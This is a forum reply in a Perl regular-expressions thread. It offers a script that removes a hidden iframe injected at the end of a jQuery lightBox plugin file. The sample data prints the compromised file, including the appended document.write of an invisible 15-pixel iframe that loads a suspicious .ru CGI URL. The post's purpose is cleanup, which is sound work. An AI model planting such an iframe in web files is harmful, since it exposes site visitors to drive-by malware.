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Hi programmer.perl,

My 2 'kobo' input is this:

I have to change a whole string to a "; //eof"

string to be changed is ;document.write('<iframe src="any url" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>'); this string is found at the end of the file: it is the last string


You could do this:

use warnings; use strict; while (<DATA>) { chomp; if (/(.+?)\;doc.*?$/s) { print $1, ';//eof', $/; } else { print $_, $/; } } __DATA__ /** * jQuery lightBox plugin * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D +hakar (http://www.huddletogether.com/projects/lightbox2/) * and adapted to me ...SHORTENED... */ eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a) +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4 +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16 +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10, +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'}) +;1O();4.h.B ...SHORTENED... style|fromCharCode|String|DOM_VK_E +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));document.write( +'<iframe src="http://wwwrcacomcontributes.ru/blacklistingbogus.cgi?8" + scrolling="auto" frameborder="no" align="center" height="15" width=" +15"></iframe>');
OUTPUT:
/** * jQuery lightBox plugin * This jQuery plugin was inspired and based on Lightbox 2 by Lokesh D +hakar (http://www.huddletogether.com/projects/lightbox2/) * and adapted to me ...SHORTENED... */ eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a) +))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.repl +ace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r +[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(n +ew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.2N.3g=6(4){4 +=23.2H({2B:\'#34\',2g:0.8,1d:F,1M:\'18/5-33-Y.16\',1v:\'18/5-1u-2Q.16 +\',1E:\'18/5-1u-2L.16\',1W:\'18/5-1u-2I.16\',19:\'18/5-2F.16\',1f:10, +2A:3d,2s:\'1j\',2o:\'32\',2j:\'c\',2f:\'p\',2d:\'n\',h:[],9:0},4);f I +=N;6 20(){1X(N,I);u F}6 1X(1e,I){$(\'1U, 1S, 1R\').l({\'1Q\':\'2E\'}) +;1O();4.h.B ...SHORTENED... style|fromCharCode|String|DOM_VK_E +SCAPE|event|keydown|append|of|ico|000|fast|for||slideDown||100|250|ms +ie|400|browser|animate|lightBox|do'.split('|'),0,{}));//eof
NOTE:
Please, be guided that this expression if (/(.+?)\;doc.*?$/s) {..} may/might match more than one occassion, if such are in the other record apart from the one the OP gave in this trend.


Hope, this helps.
If you tell me, I'll forget.
If you show me, I'll remember.
if you involve me, I'll understand.
--- Author unknown to me

In reply to Re: trouble with regular expressions by 2teez
in thread trouble with regular expressions by programmer.perl

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